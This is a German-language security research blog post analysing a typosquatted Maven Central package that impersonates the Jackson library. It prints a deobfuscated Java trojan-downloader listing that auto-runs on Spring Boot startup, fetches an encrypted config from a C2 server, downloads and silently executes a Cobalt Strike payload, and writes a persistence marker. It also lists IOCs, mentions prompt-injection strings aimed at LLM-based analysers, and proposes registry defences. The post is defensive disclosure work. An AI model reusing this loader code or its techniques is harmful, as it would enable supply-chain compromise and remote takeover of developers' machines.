Aikido

Erste hochentwickelte Malware auf Maven Central über Typosquatting-Angriff auf Jackson entdeckt

Verfasst von
Charlie Eriksen

Heute hat unser Team ein bösartiges Paket identifiziert (org.fasterxml.jackson.core/jackson-databind) auf Maven Central, das sich als legitime Erweiterung der Jackson JSON-Bibliothek ausgibt. Es ist ziemlich neuartig, und es ist das erste Mal, dass wir eine derart ausgeklügelte Malware auf Maven Central entdeckt haben. Interessanterweise erfolgt diese Verlagerung des Fokus auf Maven, während andere Ökosysteme, wie npm, ihre Abwehrmaßnahmen aktiv verstärken. Da wir in diesem Ökosystem selten Angriffe gesehen haben, wollten wir dies dokumentieren, damit die größere Community zusammenkommen und das Ökosystem schützen kann, solange dieses Problem noch in den Kinderschuhen steckt.

Die Angreifer haben große Anstrengungen unternommen, um eine mehrstufige Payload mit verschlüsselten Konfigurationsstrings, einem Remote-Command-and-Control-Server, der plattformspezifische ausführbare Dateien liefert, und mehreren Obfuskationsschichten zu erstellen, die die Analyse erschweren sollen. Das Typosquatting funktioniert auf zwei Ebenen: Das bösartige Paket verwendet den org.fasterxml.jackson.core Namespace, während die legitime Jackson-Bibliothek unter com.fasterxml.jackson.core. Dies spiegelt die C2-Domain wider: fasterxml.org gegenüber dem echten fasterxml.com. Das .com zu .org Der Austausch ist subtil genug, um bei einer oberflächlichen Überprüfung unentdeckt zu bleiben, wird aber vollständig vom Angreifer kontrolliert.

Zum jetzigen Zeitpunkt haben wir die Domain an GoDaddy und das Paket an Maven Central gemeldet. Das Paket wurde innerhalb von 1,5 Stunden entfernt. 

Die Malware auf einen Blick

Als wir die .jar Datei öffneten, sahen wir dieses Chaos:

Puh, was ist hier überhaupt los? Mir wird schwindelig, wenn ich es nur ansehe!

  • Es ist stark obfuskiert, wie offensichtlich ist.
  • Es enthält Versuche, LLM-basierte Analysatoren durch new String()-Aufrufe mit Prompt Injection zu täuschen.
  • Wenn es in einem Editor betrachtet wird, der Unicode-Zeichen nicht Escape, zeigt es viel Rauschen.

Aber keine Sorge, mit ein wenig Hilfe können wir es deobfuskieren und in etwas wesentlich Lesbareres umwandeln:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Malware-Fluss

Hier ist eine Übersicht, wie die Malware abläuft:

Phase 0: Infektion. Ein Entwickelnde fügt die bösartige Abhängigkeit zu ihrer pom.xml hinzu, in der Annahme, es handele sich um eine legitime Jackson-Erweiterung. Das Paket verwendet den org.fasterxml.jackson.core Namespace, denselben wie die echte Jackson-Bibliothek, um vertrauenswürdig zu erscheinen.

Phase 1: Auto-Ausführung. Wenn die Spring Boot-Anwendung startet, scannt Spring nach @Configuration Klassen und findet JacksonSpringAutoConfiguration. Das @ConditionalOnClass({ApplicationRunner.class}) Prüfung bestanden (ApplicationRunner ist immer in Spring Boot vorhanden), sodass Spring die Klasse als Bean registriert. Die Malware ApplicationRunner wird automatisch aufgerufen, nachdem der Anwendungskontext geladen wurde. Keine expliziten Aufrufe erforderlich.

Phase 2: Persistenzprüfung. Die Malware sucht nach einer Datei namens .idea.pid im Arbeitsverzeichnis. Dieser Dateiname wurde bewusst gewählt, um sich in die Projektdateien von IntelliJ IDEA einzufügen. Wenn die Datei existiert, geht die Malware davon aus, dass sie bereits ausgeführt wird, und beendet sich geräuschlos.

Phase 3: Umgebungs-Fingerprinting. Die Malware erkennt das Betriebssystem durch Überprüfung von System.getProperty("os.name") und Abgleich mit win, mac/darwin, und nux/linux.

Phase 4: C2-Kontakt. Die Malware kontaktiert http://m.fasterxml[.]org:51211/config.txt, einer Typosquatting-Domain, die die legitime fasterxml.com. Die Antwort enthält AES-verschlüsselte Zeilen, eine pro unterstützter Plattform.

Phase 5: Payload-Bereitstellung. Jede Zeile in der Konfiguration wird mittels AES-ECB mit einem fest codierten Schlüssel (9237527890923496) os|url). Das Format ist

, zum Beispiel diese Werte, die wir beim Reverse Engineering der Malware gefunden haben:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

Die Malware wählt die URL, die dem erkannten Betriebssystem entspricht, und lädt die Binärdatei als in das temporäre Systemverzeichnis herunter mac|http://103.127.243[.]82:8000/http/192he23/update.

Phase 6: Ausführung. Auf Unix-Systemen führt die Malware chmod +x auf dem Payload aus. Anschließend führt sie die Binärdatei aus, wobei stdout/stderr nach /dev/null (Unix) oder NUL (Windows) umgeleitet wird, um jegliche Ausgabe zu unterdrücken. Der Windows-Payload wird benannt als svchosts.exe, ein absichtlicher Typosquat des legitimen svchost.exe Prozesses.

Phase 7: Persistenz. Schließlich erstellt die Malware die .idea.pid Marker-Datei, um eine erneute Ausführung bei nachfolgenden Anwendungsneustarts zu verhindern.

Die Domain

Die Typosquatting-Domain fasterxml.org wurde am 17. Dezember 2025 registriert, nur 8 Tage vor unserer Analyse. WHOIS-Einträge zeigen, dass sie über GoDaddy registriert und am 22. Dezember aktualisiert wurde, was auf eine aktive Entwicklung der bösartigen Infrastruktur in den Tagen vor der Bereitstellung hindeutet.

Die kurze Zeitspanne zwischen Domain-Registrierung und aktiver Nutzung ist ein häufiges Muster bei Malware-Kampagnen: Angreifer richten die Infrastruktur kurz vor der Bereitstellung ein, um das Zeitfenster für Erkennung und Blocklisting zu minimieren. Die legitime Jackson-Bibliothek ist seit über einem Jahrzehnt unter fasterxml.com aktiv, wodurch die .org Variante eine Nachahmung mit geringem Aufwand und hohem Ertrag darstellt.

Die Binärdateien

Wir haben die Binärdateien abgerufen und sie zur Analyse an VirusTotal übermittelt:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

Der Linux/macOS-Payload wird von praktisch allen erkennenden Anbietern konsistent als Cobalt Strike Beacon identifiziert. Cobalt Strike ist ein kommerzielles Penetrationstesting-Tool, das umfassende Command-and-Control-Funktionen bietet: Fernzugriff, Erfassung von Anmeldeinformationen, laterale Bewegung und Payload-Bereitstellung. Obwohl für den legitimen Red-Team-Einsatz konzipiert, haben durchgesickerte Versionen es zu einem Favoriten von Ransomware-Betreibern und APT-Gruppen gemacht. Seine Präsenz deutet typischerweise auf hochentwickelte Angreifer mit Absichten hin, die über einfaches Cryptomining hinausgehen.

Möglichkeiten für Maven Central zum Schutz des Ökosystems

Dieser Angriff verdeutlicht eine Möglichkeit, den Umgang von Paket-Registries mit Namespace-Squatting zu stärken. Andere Ökosysteme haben bereits Schritte unternommen, um dieses Problem anzugehen, und Maven Central könnte von ähnlichen Schutzmaßnahmen profitieren.

Das Präfix-Swap-Problem: Dieser Angriff nutzte einen spezifischen blinden Fleck aus: TLD-ähnliche Präfix-Swaps in Javas Reverse-Domain-Namespace-Konvention. Die legitime Jackson-Bibliothek verwendet com.fasterxml.jackson.core, während das bösartige Paket verwendete org.fasterxml.jackson.core. Dies ist direkt analog zu Domain-Typosquatting (fasterxml.com vs fasterxml.org), aber Maven Central scheint derzeit keinen Mechanismus zu haben, um dies zu erkennen.

Dies ist ein einfacher Angriff, und wir erwarten Nachahmer. Die hier demonstrierte Technik: der Austausch von com. gegen org. im Namespace einer populären Bibliothek. Dies erfordert minimale Raffinesse. Nachdem dieser Ansatz dokumentiert wurde, erwarten wir, dass andere Angreifer ähnliche Präfix-Swaps gegen andere hochwertige Bibliotheken versuchen werden. Das Zeitfenster zur Implementierung von Schutzmaßnahmen ist jetzt, bevor dies zu einem weit verbreiteten Muster wird.

Angesichts der Einfachheit und Effektivität dieses Präfix-Swap-Angriffs würden wir Maven Central dringend bitten, die Implementierung von Folgendem in Betracht zu ziehen:

  • Präfix-Ähnlichkeitserkennung. Wenn ein neues Paket unter org.example, prüfen Sie, ob com.example oder net.example bereits mit erheblichem Download-Volumen existiert. Falls ja, zur Überprüfung kennzeichnen. Die gleiche Logik sollte umgekehrt und für alle gängigen TLDs (`com, org, net, io, dev`) gelten.
  • Schutz populärer Pakete. Führen Sie eine Liste von hochwertigen Namespaces (wie com.fasterxml, com.google, org.apache) und verlangen Sie eine zusätzliche Verifizierung für jedes Paket, das unter ähnlich aussehenden Namespaces veröffentlicht wird.

Wir teilen diese Analyse im Geiste der Zusammenarbeit. Das Java-Ökosystem war in den letzten Jahren ein relativ sicherer Hafen vor den Lieferkettenangriffen, die npm und PyPI geplagt haben. Proaktive Maßnahmen können jetzt dazu beitragen, dass dies so bleibt.

IOCs

Domains:

  • fasterxml[.]org
  • m.fasterxml[.]org

IP-Adressen:

  • 103.127.243[.]82

URLs:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binärdateien:

  • Windows-Payload (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • macOS-Payload (update): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Teilen:

https://www.aikido.dev/blog/maven-central-jackson-typosquatting-malware

Abonnieren Sie Bedrohungs-News.

Starten Sie noch heute, kostenlos.

Kostenlos starten
Ohne Kreditkarte

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.